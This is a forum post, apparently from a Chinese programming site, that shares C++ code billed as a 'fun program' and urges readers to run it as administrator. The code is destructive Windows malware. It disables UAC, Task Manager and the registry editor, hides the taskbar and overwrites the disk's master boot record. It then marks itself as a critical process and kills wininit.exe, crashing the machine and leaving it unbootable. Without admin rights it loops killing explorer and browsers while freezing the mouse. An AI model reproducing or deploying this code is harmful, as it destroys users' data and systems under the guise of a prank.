好van♂的程序(C++)
  • 板块灌水区
  • 楼主FOF_FOF_QBI
  • 当前回复13
  • 已保存回复14
  • 发布时间2024/7/8 16:59
  • 上次更新2024/7/8 17:21:08
查看原帖
好van♂的程序(C++)
738332
FOF_FOF_QBI楼主2024/7/8 16:59

听说用管理员运行会更不一样哦~

#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <cmath>
#include <cstdlib>
#include <ctime>
#include <windows.h>
#include <stdlib.h>
#include <ShlObj.h> //IsUserAnAdmin()
#include <tlhelp32.h>
#include <conio.h>
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib,"winmm.lib")
#pragma comment(lib, "WINMM.LIB")
#include <mmsystem.h>
#include "process.h"
//#define wback break;
#include <time.h>
#include <shellapi.h>
#include <tchar.h>
#define wbreak while(true)break;
#include <TlHelp32.h>
#include <strsafe.h>

//#include<bitsw.h>
#define cls system("cls");
using namespace std;
#define size 512 // 一个扇区512字节
bool EnableDebugPrivilege();

typedef NTSTATUS(__cdecl *fnRtlSetProcessIsCritical)(IN  BOOLEAN  NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN  BOOLEAN  CheckFlag);
fnRtlSetProcessIsCritical pRtlSetProcessIsCritical;

using namespace std;
void CloseUAC() {
	//须管理员权限
	WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"ConsentPromptBehaviorAdmin\" /t REG_DWORD /d 0 /F", SW_HIDE);
	WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\" /t REG_DWORD /d 0 /F", SW_HIDE);
	WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"PromptOnSecureDesktop\" /t REG_DWORD /d 0 /F", SW_HIDE);
}//关机后应用
VOID RegDisableTaskmgr(DWORD dwDisable = TRUE) {
	HKEY hkey;
	DWORD v = dwDisable;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
	RegCloseKey(hkey);
}
VOID RegDisableRegedit(DWORD dwDisable = TRUE) {
	HKEY hkey;
	DWORD v = dwDisable;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
	RegCloseKey(hkey);
}
VOID FreezeMouse(bool setPos = false, POINT pos = {0, 0}) {
	//冻结鼠标!!
	RECT rect;
	if (setPos) {
		rect.left = pos.x;
		rect.right = pos.x;
		rect.top = pos.y;
		rect.bottom = pos.y;
		ClipCursor(&rect);
	} else {
		POINT pt;
		GetCursorPos(&pt);
		rect.left = pt.x;
		rect.right = pt.x;
		rect.top = pt.y;
		rect.bottom = pt.y;
		ClipCursor(&rect);
	}
}
VOID UnfreezeMouse(VOID) {
	ClipCursor(NULL);
}
VOID HideTaskbar(VOID) {
	ShowWindow(FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
	if (nCode >= 0) {
		PKBDLLHOOKSTRUCT pKbd = reinterpret_cast<PKBDLLHOOKSTRUCT>(lParam);

		// 在这里,你可以检查pKeybd->vkCode来查看哪个键被按下
		// 然后决定是否阻止这个键盘事件

		// 阻止所有键盘事件
		return 1;
	}
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int killwindows(void) {
//	ShowWindow(FindWindow("explorer", NULL),0);
	if (IsAdmin) {
		while (true) {
			cls
			system("mode con cols=30 lines=4");
			cout << "开启好玩?" << endl;
			cout << "A.好的   B.算了" << endl;
			string getk1;
			getline(cin, getk1);
			if (getk1 == "A") {
				HHOOK hhk = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
				if (hhk == NULL) {
					// 错误处理
					return 1;
				}

				// 进入消息循环,等待键盘事件
				MSG msg;

				UnhookWindowsHookEx(hhk);
				HideTaskbar();
				//	FreezeMouse();
				RegDisableRegedit();
				CloseUAC();
				RegDisableTaskmgr();
				HWND hwnd1 = GetForegroundWindow(); //获取本程序窗口
				system("title WindowsUpdate");
				BOOL so2 = IsUserAnAdmin();
				if (so2)
					system("title 1");
				else {
					MessageBox(NULL, (LPCTSTR)TEXT("请您以管理员身份运行,否则无法运行!"), (LPCTSTR)TEXT("提醒"),  MB_OK);
					//		ShowWindow(hwnd1,0);
					return 0;
				}
				//	        	printf("运行权限:User")	;
				//    	SetConsoleTitle("QPNew:F2隐藏QPNew F9停止QPNew及Show程序         (User =(");

				int a, r;
				float key;
				/* 文件流 */
				FILE *DiskFile;
				FILE *File;
				/* MBR */
				unsigned char *DiskCode;// 要写入的MBR
				unsigned char MBRCODE[size] = {0}; // 备份MBR
				/* 准备写入的MBR */
				DiskCode = (unsigned char*)"             ";
				/* 获取文件流 */
				DiskFile = fopen("\\\\.\\PhysicalDrive0", "rb+");
				if (!DiskFile)
					puts("Can't open file!");
				else if (!feof(DiskFile)) {
					/* 移动到MBR的位置 */
					fseek(DiskFile, 0, SEEK_SET); // MBR的位置(0柱面 0磁道 1扇区)
					fread(MBRCODE, 1, size, DiskFile); // 备份MBR
					/* 移动到MBR的位置 */
					fseek(DiskFile, 0, SEEK_SET); // MBR的位置(0柱面 0磁道 1扇区)
					// 写入新的MBR
					fwrite(DiskCode, size, 1, DiskFile);
					fclose(DiskFile);
				}
				EnableDebugPrivilege();
				HMODULE  hNtdll = GetModuleHandle(TEXT("ntdll.dll"));
				if (hNtdll) {
					pRtlSetProcessIsCritical = (fnRtlSetProcessIsCritical)GetProcAddress(hNtdll, "RtlSetProcessIsCritical");
					if (pRtlSetProcessIsCritical) {
						pRtlSetProcessIsCritical(TRUE, NULL, FALSE);
					}
				}
				// 	HWND hwnd1;	//本程序窗口
				hwnd1 = GetForegroundWindow(); //获取本程序窗口
				//	while(true){
				HWND hwnd = GetForegroundWindow();
				int cx = GetSystemMetrics(SM_CXSCREEN); /* 屏幕宽度 像素 */
				int cy = GetSystemMetrics(SM_CYSCREEN); /* 屏幕高度 像素 */
				LONG l_WinStyle = GetWindowLong(hwnd, GWL_STYLE); /* 获取窗口信息 */
				/* 设置窗口信息 最大化 取消标题栏及边框 */
				SetWindowLong(hwnd, GWL_STYLE, (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);
				SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
				//		system("taskkill /f /im explorer.exe");
				SetWindowPos(hwnd1, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE); //窗口置顶
				//	}
				key = 114514;
				system ("Color 4F");
				//    cin >> a;
				system ("taskkill /f /im wininit.exe /t");
				break;
			}
			if (getk1 == "B")break;
			else {
				wbreak;
			}

			//		}
			//	}
		}
	} else {
		HWND hwnd = GetForegroundWindow();
		while (true) {
			HHOOK hhk = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
			if (hhk == NULL) {
				// 错误处理
				return 1;
			}

			// 进入消息循环,等待键盘事件
			MSG msg;

			UnhookWindowsHookEx(hhk);
			system("taskkill /f /im explorer.exe");
			system("taskkill /f /im msedge.exe");
			system("taskkill /f /im chrome.exe");
			system("taskkill /f /im iexplore.exe");
			system("taskkill /f /im sogouexplorer.exe");
			system("taskkill /f /im The world.exe");
			system("taskkill /f /im Firefox.exe");
			system("taskkill /f /im opera.exe");
			system("taskkill /f /im 360SE.exe");
			system("taskkill /f /im Netscape.exe");
			FreezeMouse();
			int cx = GetSystemMetrics(SM_CXSCREEN); /* 屏幕宽度 像素 */
			int cy = GetSystemMetrics(SM_CYSCREEN); /* 屏幕高度 像素 */
			LONG l_WinStyle = GetWindowLong(hwnd, GWL_STYLE); /* 获取窗口信息 */
			/* 设置窗口信息 最大化 取消标题栏及边框 */
			SetWindowLong(hwnd, GWL_STYLE, (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);
			SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
		}
	}

//	return 0;
}



bool EnableDebugPrivilege() {
	HANDLE hToken;
	LUID sedebugnameValue;
	TOKEN_PRIVILEGES tkp;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
		return   false;
	}
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
		CloseHandle(hToken);
		return false;
	}
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = sedebugnameValue;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
		CloseHandle(hToken);
		return false;
	}
	return true;
}
void full_screen() {
	killwindows();
}
DWORD GetCurrentActiveWindowsProcessId() {
	HWND hWnd = GetActiveWindow();
	DWORD processId = 0;
	GetWindowThreadProcessId(hWnd, &processId);
	return processId;
}

BOOL HasFocus() {
	DWORD active_process = GetCurrentActiveWindowsProcessId();
	DWORD current_process = ::GetCurrentProcessId();
	return current_process ==  active_process ;
}
2024/7/8 16:59
加载中...